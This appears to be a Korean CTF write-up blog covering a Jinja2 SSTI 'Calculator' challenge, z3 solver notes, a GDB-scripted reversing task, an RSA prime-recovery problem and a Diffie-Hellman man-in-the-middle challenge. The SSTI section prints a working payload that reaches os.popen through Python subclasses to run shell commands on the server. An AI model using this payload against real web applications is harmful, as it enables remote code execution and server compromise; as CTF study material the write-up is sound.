Calculator

위 그림 참고해서 SSTI 취약점을 확인해보자

SSTI Example

jinja2 엔진을 사용한다. SSTI는 엔진에 맞는 라이트업을 찾아보았다.

참고자료 정리는 접은 글
SSTI Reference

SSTI
템플릿을 사용하여 웹 어플리케이션을 구동
-> 이때 user input이 템플릿 구문으로 인식되면 RCE까지 이어질 수 있는 취약점

템플릿이 여러개라서 문제마다 구문이 다름 보통은 {{4*4}}이던데 이 문제는 대괄호 [[...]] 구문은 값을 출력해줌 %나 #을 이요해서 주석, 반복문 등으로도 구문 삽입 가능

아래서 "".__class__에 접근할 건데 이게 뭐냐면 python 특수 attributes중에 하나 아래서는 클래스의 __base__를 참조했는데 class object에 접근
그리고 그걸 다시 subclasses()로 받으면 object의 서브 클래스 목록을 출력받을 수 있다
이중에서 원하는 클래스 끌어다가 RCE 가능

보통은 109 index 값 가져와서 popen으로 명령어 실행
109 index는 codecs.IncrementalDecoder

[[ "".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read() ]]

Command Execution

[[ "".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('tac flag').read() ]]

Flag Retrieval

이렇게 하면 flag가 나온다.

z3 정리~

문제를 조건에 맞게 해결할 때 사용하는 라이브러리

from z3 import *
s = Solver()

일단 Solver()로 인스턴스 생성

x = Int('x')
s.add(x > 0)
s.add(x < 10)

add()로 제약 조건 추가

result = s.check()

check()로 해당 조건으로 문제가 해결되는지 판단
sat(가능) unsat(불가능) unknown(몰라)

if s.check() == sat:
    m = s.model()
    print(m[x])

sat일 시(가능하다면) model()로 해 반환

추가 기능은 코드로 한 번에 정리

# push()와 pop(), 스택 관리 
s.push()  # 현재 상태 저장
s.add(x == 5)
s.pop()   # 이전 상태로 복원


# reset() 초기화 
s.reset()


# assertions(), 제약 조건 반환 
for assertion in s.assertions():
    print(assertion)


# statistics() 성능 통계 
print(s.statistics())

# unsat_core() 불만족하는 제약 조건 반환(항상 최소한으로) 

# proof() 불만족의 증명 생성

just read memory

그냥 읽으라고 한다

설명에 script 쓰라고 하는데.. 안 써봐서 약간의 노가다를 각오하고 풀고 라업 참고해서 배워보려한다(변명하자면 script 예시가 잘 안 보여서 어떻게 쓰는지 숙지가 안됐다)

Image

어떤 연쇄적인 리스트에 대해 malloc 해주고 append_list하는 코드이다.

append_list 함수를 읽어보자.

__int64 unknown_func1()
{
  return (unsigned int)cnt;
}

cnt를 return한다

__int64 unknown_func2()
{
  int v1; // [rsp+0h] [rbp-4h]

  return (unsigned int)(9 * (3 * (v1 + 5) - 7));
}

v1에 대한 계산값을 출력한다.

__int64 generate_flag()
{
  unsigned int v1; // [rsp+0h] [rbp-4h]

  cnt = v1;
  return v1 % 0x4A + 48;
}

v1에 대한 계산값을 출력한다.

QWORD *append_list()
{
  _QWORD *result; // rax
  _QWORD *v1; // [rsp+10h] [rbp-10h]
  char flag; // [rsp+1Fh] [rbp-1h]

  unknown_func1();
  unknown_func2();
  flag = generate_flag();
  v1 = malloc(0x10uLL);
  *(_BYTE *)v1 = flag;
  v1[1] = 0LL;
  if ( tail_node )
    *(_QWORD *)(tail_node + 8) = v1;
  result = v1;
  tail_node = (__int64)v1;
  return result;
}

위에서 봤던 generate_flag는 v1에 저장된다. malloc으로 할당되는 v1을 동적분석하며 관찰해봐야 한다.

v1으로 받는 값들을 64번.. 관찰해보면 된다.

Image

함수 BP 걸고 내부로 들어가보자

Image

+72에 mov rax, QW rbp-0x10로 flag를 v1(rax)으로 옮기는 거 같다. 그 다음 줄은 76에 bp를 걸어보자

b *main+76

Image

rax값은 0x4d이다. 하나씩 모아보자..

한 16번쯤 하면 공부 열심히 해야겠다는 생각이 든다.

Image

라업 코드를 보니 아래와 같았다. 주석은 내가 추가하면서 코드 이해했다.

# gdb -q -x script1.py
# gdb 라이브러리 
import gdb

ge = gdb.execute
gp = gdb.parse_and_eval

# gdb 실행 
ge("file ./main")

# gdb.Breakpoint로 중단점 설정 
class check_generated_flag(gdb.Breakpoint):
    def __init__(self, address):
        super(check_generated_flag, self).__init__(spec=f"*{address}", type=gdb.BP_BREAKPOINT)
        #cnt가 카운트 개수인 거 같다. ida 분석하면서도 있었던 변수 
        self.hit_cnt = 0
        self.flag = ""

    def stop(self):
    	#rax값을 읽는다. 0xff를 해서 ax만 남기는 거 같다. 
        ax = int(gp("$rax")) & 0xFF
        #flag에 ascii값 추가 
        self.flag += chr(ax)

        self.hit_cnt += 1
        #count 64개 채웠으면 다 찾은 거니까 stop 
        if self.hit_cnt >= 64:
            print("input:", self.flag)
        return False

# 여기 주소 뭐지 -> 아래서 후술 
pie_base = 0x555555554000
check_generated_flag(pie_base + 0x149F)

ge("run <<< asdf")
exit()

pie_base에 +0x149f(오프셋이다)는 아래 주소이다.

Image

Image

generate_flag 바로 이후 명령이다.

gdb로 코드영역 pie base 주소는 code라고 적어주면 된다.

d

from Crypto.Util.number import *
from flag import flag

p = bytes_to_long(flag)
assert isPrime(p)
q = getPrime(256)
d = pow(65537, -1, (p - 1) * (q - 1))
print(d)
# 22800184635336356769510601710348610828272762269559262549105379768650621669527077640437441133467920490241918976205665073

p는 소수 어떤 거 구해서 마지막에 long_to_bytes하면 그게 flag

de=1(mod pq) 이걸 좀 풀어서 쓰면 de-1=n(q-1)(p-1)이다(n은 자연수) factorint로 소인수분해 하면 아래와 같다.

Factorization

일단 가장 큰 수는 256비트이기 때문에 조합할 경우의 수가 많지 않다. 그래서 직접 prime인지 체크해봤더니 모두 false -> n에 들어가는 인수이다.

Prime Check

ai의 도움을 받아 가장 큰 인수 빼고 코드를 짜보면…

from itertools import combinations
from sympy import isprime

def find_valid_p(n_factors):
    valid_p = set()
    factors = []
    for base, exp in n_factors.items():
        factors.extend([base] * exp)
    
    for r in range(1, len(factors) + 1):
        for combo in combinations(factors, r):
            p = 1
            for factor in combo:
                p *= factor
            if p % 2 == 0 and isprime(p + 1):
                valid_p.add(p)
    
    return sorted(valid_p)

n_factors = {
    2: 3, 3: 1, 5: 2, 37: 1, 1117: 1, 4029461: 1,
    1403014978139: 1, 284368748316481195117: 1
}

valid_p = find_valid_p(n_factors)
print(valid_p)

가능한 인수들을 모두 출력해준다.

Valid Factors

위에 넣고 p-1을 p로 바꾼 후 long_to_bytes하여 경우의 수를 모두 출력해주면, DH 플래그가 나온다.

다 풀고 라업 봤더니 나머지 기호로 예쁘게 풀었다(…)

Parameter Injection

아마도 중간자 공격을 말하는 것 같다.

접속해보면 이렇게 intercept하고 send할 수 있는 형태이다.

Alice(개인키 a) me Bob  
shared secret=K1-> intercept-> send-> shared secret=K2
shared secret=K1 <- send <- intercept <- shared secret=K2
iv, ciphertext
이것 역시 K1으로 만들어짐
     

이러면 구해야 할 값은 K1이다. pow(alice가 처음 보낸 값,alice에게 보낼 때 사용한 key,p)하면 K1을 구할 수 있다. 내가 쓸 key와 내용을 random으로 만들어준다.

Image

Image

deriving symmetric keys에서 사용했던 코드 살짝 바꿔서 플래그를 구하면 된다.

Image